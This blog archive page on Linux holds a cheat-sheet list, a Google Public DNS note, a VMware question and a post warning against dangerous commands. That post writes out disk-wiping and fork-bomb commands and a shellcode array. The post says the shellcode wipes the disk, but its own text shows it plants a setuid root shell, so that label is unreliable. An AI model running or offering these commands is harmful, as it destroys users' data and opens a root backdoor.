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Archive for the 'linux' Category
Below list of Linux cheat sheets can be used by everybody who administer Linux operating system including beginners/newbies and bearded gurus.
PDF | Command Line Interface (CLI), Security, Networking
- Unix/Linux Command Reference by fosswire.com
- THE ONE PAGE LINUX MANUAL (A summary of useful Linux commands)
LINUX System Call Quick Reference- LINUX Admin Quick Reference
- Linux quick reference card
- Linux Shell quick reference guide
- Linux Security Quick Reference Guide
- tcpdump cheat sheet
- Wireshark display filters
- Netcat cheat sheet
HTML | CLI, Gnome/KDE
- DOS to Linux cheatsheet
- Unix toolbox
- Treebeard’s Unix cheat sheet
- Linux terminal shortcuts
Just Linux cheat sheet- Computerworld’s Linux cheat sheet
- Linux CLI reference for common operations
- Peter Lombardo’s Linux cheat sheet
- EZ Linux Cheat Sheet
- Gnome/KDE shortcuts
- Linux related reference sheets by suso.com
- Bonus: Linux/UNIX and Microsoft Cheat Sheet
HTML | Linux Distributions Cheat Sheets
HTML/PDF | vi, sed, awk
Today Google unveiled its new project: Google Public DNS. It means now anybody can use Google’s DNS servers for resolving domain names into IP addresses and back. According to Google it should speedup browsing as well as security. Hope I won’t see adsense ads once tried to load expired domain name (that’s how OpenDNS acts today).
Here are easy-to-remember Google Public DNS IP addresses: 8.8.8.8 and 8.8.4.4.
In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.
NEVER RUN THESE COMMANDS IN LINUX BOX CLI!
Even if somebody advises you in forum/im to do it.
1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:
- sudo rm -rf /
- rm -rf .*
- dd if=/dev/zero of=/dev/sda
- mkfs.ext3 /dev/hda
- whatever > /dev/hda
- cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
- find -type f -mtime +30 -exec mv {} /dev/null \;
- mv ~ /dev/null
- mv / /dev/null
2. Causes kernel panic or freezes Linux box:
- dd if=/dev/random of=/dev/port
-
){:|:&};: #also known as fork bomb
3. This one does the same as “rm -rf /”:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
4. This one will prevent you from executing commands with root rights:
rm -f /usr/bin/sudo;rm -f /bin/su
If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.
Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ
While today 2.6.32 is the mainline version of Linux kernel, 2.4 branch is still supported by Linux community developers who fix security bugs there but don’t add any new functionality (unlike 2.6 that grows with new features like a snowball). Sometimes it happens that Linux box runs too much services which cannot be stopped so that admin is not allowed to migrate from 2.4 to 2.6 to keep those services online.
In my example the box runs 2.4.37.7 kernel but Vmware Server 1.0.* fails on it with segmentation fault throwing into the logs the errors below in this post. Does that look familiar to anybody? Is there any solution to run Vmware Server at 2.4.37 kernel? Thank you!
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